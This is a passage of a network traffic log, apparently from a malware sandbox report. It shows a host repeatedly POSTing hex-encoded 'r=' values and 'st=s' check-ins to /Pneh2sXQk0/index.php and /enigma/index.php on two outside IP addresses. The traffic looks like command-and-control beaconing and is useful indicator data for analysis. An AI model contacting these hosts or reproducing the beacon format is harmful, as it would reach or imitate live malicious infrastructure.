Apr 19, 2024 03:35:58.733251095 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:35:58.981889009 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1307	192.168.2.5	51161	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:59.069010973 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:35:59.316235065 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1308	192.168.2.5	51162	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:59.329032898 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:35:59.577739000 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1309	192.168.2.5	51163	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:59.667876959 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:35:59.915719986 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1310	192.168.2.5	51164	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:59.825238943 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:36:00.099315882 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1311	192.168.2.5	51165	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:59.940135956 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:36:00.197169065 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1312	192.168.2.5	51166	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:00.450005054 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:36:00.703012943 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1313	192.168.2.5	51167	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:00.537699938 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:36:00.784501076 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1314	192.168.2.5	51168	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:00.955657005 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:36:01.207039118 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1315	192.168.2.5	51169	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:01.044456005 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:36:01.300843000 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1316	192.168.2.5	51170	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:01.536145926 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:36:01.781701088 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1317	192.168.2.5	51171	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:01.658165932 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:36:01.913620949 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1318	192.168.2.5	51172	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:02.035464048 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:36:02.287914991 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1319	192.168.2.5	51173	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:02.170758963 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:36:02.423598051 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1320	192.168.2.5	51174	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:02.627404928 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:36:02.867762089 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1321	192.168.2.5	51175	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:02.776216984 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:36:03.026442051 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1322	192.168.2.5	51176	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:03.124958992 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:36:03.382359982 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1323	192.168.2.5	51177	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:03.275702953 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:36:03.525648117 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1324	192.168.2.5	51178	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:03.736181021 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:36:03.985179901 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1325	192.168.2.5	51179	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:03.867253065 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:36:04.110099077 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1326	192.168.2.5	51180	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:04.232568979 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:36:04.480467081 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1327	192.168.2.5	51181	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:04.354208946 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:36:04.599560022 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1328	192.168.2.5	51182	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:04.815279961 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:36:05.059890985 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1329	192.168.2.5	51183	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:04.941760063 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:36:05.185753107 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1330	192.168.2.5	51184	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
